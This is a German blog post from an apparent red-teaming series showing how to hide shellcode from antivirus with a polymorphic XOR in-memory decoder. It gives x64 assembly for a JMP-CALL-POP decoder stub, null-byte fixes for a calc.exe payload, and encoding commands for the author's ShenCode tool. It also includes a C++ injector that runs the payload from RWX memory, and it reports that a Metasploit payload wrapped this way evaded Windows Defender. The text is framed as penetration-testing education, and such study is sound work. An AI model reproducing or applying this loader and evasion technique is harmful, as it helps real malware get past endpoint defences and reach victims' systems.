Inhaltsverzeichnis

, , , , , ,

Obfuscation: polymorpher In-Memory Decoder

Red-Teaming und Penetration Tests erfordern häufig das Umgehen von Virenscannern, um wirksam Sicherheitslücken aufdecken zu können. Im letzten Teil haben wir uns mit der Tarnung von Shellcode als UUID im Quellcode befasst. Dies hat auch gut funktioniert, jedoch wurde der Shellcode im Speicher erkannt und blockiert.

Das wollen wir nun mit einem polymorphen In-Memory Decoder lösen: Ein Shellcode, der Shellcode entschlüsselt.

XOR-Decoder

Den XOR-Decoder habe ich von doyler.net übernommen und an die x64-Architektur angepasst. Dies war recht simpel, da nur die entsprechenden Register umbenannt werden mussten. Der Decoder startet mit dieser Anweisung:

_start:
    jmp short call_decoder      ; Begin of JMP-CALL-POP

JMP-CALL-POP ist eine Technik, welche uns erlaubt Code unabhängig vom Speicher auszuführen. In diesem ersten Schritt springen wir nun zur Sprungmarke call_decoder

call_decoder:
    call decoder        ; RSP points to the next instruction (the shellcode) 
 
    ; The encoded shellcode
    Shellcode: db 0x6a,0x77,0xb6...

Hier sehen wir, dass über die CALL-Anweisung direkt ein anderer Teil des Programms aufgerufen wird. Sobald dies geschieht, speichert das Register RSP den Pointer zum nächsten Befehl (in unserem Fall der Shellcode) auf dem Stack.

decoder:
    pop rsi                     ; Move pointer to encoded shellcode into RSI from the stack

Im aufgerufenem Programmteil sichern wir uns den Pointer vom Stack in das Register RSI und wissen wo unser Shellcode nun im Speicher zu adressieren ist.

Jetzt geht es weiter zur eigentlichen Entschlüsselungs-Routine:

decode:
    xor byte [rsi], 0x3F      ; The byte RSI points to, will be XORed by 0x3F
    jz Shellcode              ; jump out of the loop if 0: RSI xor 0x3F = 0
    inc rsi                   ; increment RSI to decode the next byte
    jmp short decode          ; loop until each byte was decoded

xor byte [rsi], 0x3F dekodiert nun das Byte, welches durch RSI adressiert wird. In diesem Fall ist dies das erste Byte des Shellcodes. Der Schlüssel zum Dekodieren ist 0x3F und kann entsprechend der ursprünglichen Kodierung geändert werden.

jz Shellcode prüft nun, ob das dekodierte Byte 0x00 entspricht.

$Byte \neq 0$

Ist das Ergebnis negativ, springt der Code zur nächsten Anweisung: inc rsi

RSI wird erhöht und zeigt somit auf das nächste Byte im Shellcode, welches beim nächsten Durchlauf dekodiert wird. jmp short decode springt zurück zum Anfang der Funktion.

$Byte = 0$

Ist das Ergebnis positiv, wird die Schleife unterbrochen und der Shellcode ausgeführt. Hier ist es wichtig den Schlüssel an den Shellcode anzuhängen, denn:

0x3F XOR 0x3F = 0x00

Dies markiert das Ende des Shellcodes und unterbricht die Schleife. Somit benötigen wir keinen zusätzlichen Zähler.

jz Shellcode springt nun direkt in unseren dekodierten Shellcode und führt diesen aus.

calc.exe Payload

Wir wollen das calc.exe Payload aus diesem Blogpost verwenden. Dieser enthält aber noch 0-Bytes, welche die Dekodierung verhindern. Warum ist das so? Ein Beispiel:

# Encoding
XOR Key: 0x3F
Byte: 0x00
0x00 XOR 0x3F = 0x3F

# Decoding
XOR Key: 0x3F
Byte: 0x3F
0x3F XOR 0x3F = 0x00

Ein 0-Byte würde somit den Enkodierungsvorgang frühzeitig abbrechen, da jz Shellcode dies als Signal zum beenden ansehen würde. Somit müssen wir noch ein paar Modifizierungen vornehmen.

GS Register

Der Fix für das GS Register aus dem vorigen Beitrag beseitigt nur $2/3$ 0-Bytes. Für die vorigen Tests war dies ausreichend. Eine kleine Änderung bringt uns hier ans Ziel:

  1. xor rax, rax
  2. mov al, 60h
  3. mov rax, gs:[rax] ; 65 48 8b 00

ändern in:

  1. xor rax, rax
  2. mov rax, gs:[rax+0x60] ; 65 48 8b 40 60

Dies verkleinert auch gleich unseren Shellcode ein wenig.

Kernel32-Base

Bei der Suche nach Kernel32Base benutzen wir nur das Register RAX ohne Berechnung. Auch dies führt zu einem 0-Byte. Hier können wir jedoch das Register RBX zur Hilfe nehmen und so die 0-Bytes vermeiden.

  1. mov rax, [rax] ; 48 8b 00
  2. mov rax, [rax] ; 48 8b 00

ändern in:

  1. mov rbx, [rax] ; 48 8b 18
  2. mov rax, [rbx] ; 48 8b 03

JMP SHORT

  1. jmp short InvokeWinExec ; eb 00

Hier springt der Code zur nächsten Anweisung. Da der Code dies auch ohne JMP macht, können wir die Zeile auskommentieren.

Kompilieren

Den Code können wir kompilieren und erhalten einen sauberen Op-Code.

nasm -f win64 calc.asm -o calc.o

XOR-Decoder Stub

calc.exe Payload aufbereiten

Den Op-Code müssen wir nun noch etwas bearbeiten, um ihn im Decoder nutzen zu können. Hierzu nutze ich mein ShellCode-Tool ShenCode:

python shencode.py extract -i calc.o -o calc.raw -fb 60 -lb 311
...
python shencode.py xorenc -f calc.raw -o calc.xor -k 63
...
python shencode.py formatout -i calc.xor -s cs
[*] processing shellcode format...
0x6a,0x77,0xb6,
...
0x07,0x77,0xbc,0xfb,0x27,0x77,0xbc,0xfb,0x37,0x62
[+] DONE!

Schritt für Schritt:

  1. Wir extrahieren den eigentlichen Shellcode aus der Datei calc.o und speichern diesen in calc.raw (von Offset 60 bis 311)
  2. Wir enkodieren den extrahierten Code mit dem Schlüssel 63 und speichern das Ergebnis in calc.xor, 63 dezimal entspricht 3F Hexadezimal
  3. Wir lassen uns den enkodierten Shellcode im C# Format ausgeben (welches wir auch für Assembler nutzen können)

Die Ausgabe sichern wir uns, entfernen die Zeilenumbrüche und hängen unser „Magic-Byte“ 0x3F ans Ende an.

XOR-Decoder und Payload

Jetzt können wir unsere Payload zum XOR-Decoder hinzufügen. Hierzu kopieren wir den vorher aufbereiteten Code in die letzte Anweisung des XOR-Decoders:

 ; The encoded shellcode
    Shellcode: db 0x6a,0x77,0xb6,...0x37,0x62,0x3f

Zusätzlich kontrollieren wir, ob der XOR-Key passt:

decode:
    xor byte [rsi], 0x3F

Wenn alles richtig ist, kompilieren wir unseren Decoder:

nasm -f win64 xor-decoder.asm -o xor-decoder.o

Anschließend suchen wir nach den Shellcode-Offsets, extrahieren unseren Code und bereiten diesen für unsere Inject.cpp vor:

python shencode.py formatout -i xor-decoder.o -s inspect
 
0x00000048: 00 00 00 00 00 00 00 00
0x00000056: 20 00 50 60 eb 0b 5e 80     Offset=60
0x00000064: 36 3f 74 0a 48 ff c6 eb
...
0x00000320: bc fb 27 77 bc fb 37 62
0x00000328: 3f 2e 66 69 6c 65 00 00     Offset=329
0x00000336: 00 00 00 00 00 fe ff 00
 
python shencode.py extract -i xor-decoder.o -o xor-decoder.stub -fb 60 -lb 329
 
[*] try to open file
[+] reading xor-decoder.o successful!
[*] cutting shellcode from 60 to 329
[+] written shellcode to xor-decoder.stub
[+] DONE!
 
python shencode.py formatout -i xor-decoder.stub -s c
 
[*] processing shellcode format...
"\xeb\x0b\x5e...\x37\x62\x3f"";
[+] DONE!

Inject.cpp

Die eben aufbereiteten Bytes können wir nun in unser Injector Programm einfügen und auch dieses kompilieren.

#include <stdio.h>
#include <windows.h>
#include <iostream>
#pragma warning
 
unsigned char payload[] =
"\xeb\x0b\x5e...\x37\x62\x3f";
 
int main() {
    size_t byteArrayLength = sizeof(payload);
    std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl;
    void* (*memcpyPtr) (void*, const void*, size_t);
    void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpyPtr = &memcpy;
	memcpyPtr(exec, payload, byteArrayLength);
	((void(*)())exec)();
    return 0;
}

Debug

Zum testen habe ich einen Debugger gestartet und navigiere nun zum Speicherbereich des XOR-Decoders. Während des Debugs kann man Schritt-für-Schritt sehen, wie die Anweisungen im unteren Bereich entschlüsselt werden. Ersichtlich wird dies an den Bildern, unterhalb der call Anweisung (was Shellcode: db ... entspricht).

Die Animation zeigt oben den Durchlauf der Dekodierungs-Schleife, während der Shellcode im unteren Bereich schrittweise dekodiert wird.

Test mit einem Metasploit Payload

Das Ganze funktioniert auch mit einem Metasploit Payload:

Fazit

Um den Prozess zu vereinfachen, habe ich den XOR-Stub als Template in ShenCode integriert. Mit zwei Befehlen generieren wir hiermit einen XOR In-Memory Decoder:

python shencode.py xorencode -i input.raw -o xor.out --key 63
python shencode.py xorpoly -i xor.out -o stub.raw --key 63

Der XOR-Decoder stellt einen wirksamen Speicherschutz dar. In Verbindung mit anderen Obfuscation Techniken, kann dies ein guter Helfer für Penetration Tests sein. Während meines Tests wurde selbst das Metasploit Payload nicht vom Windows Defender erkannt.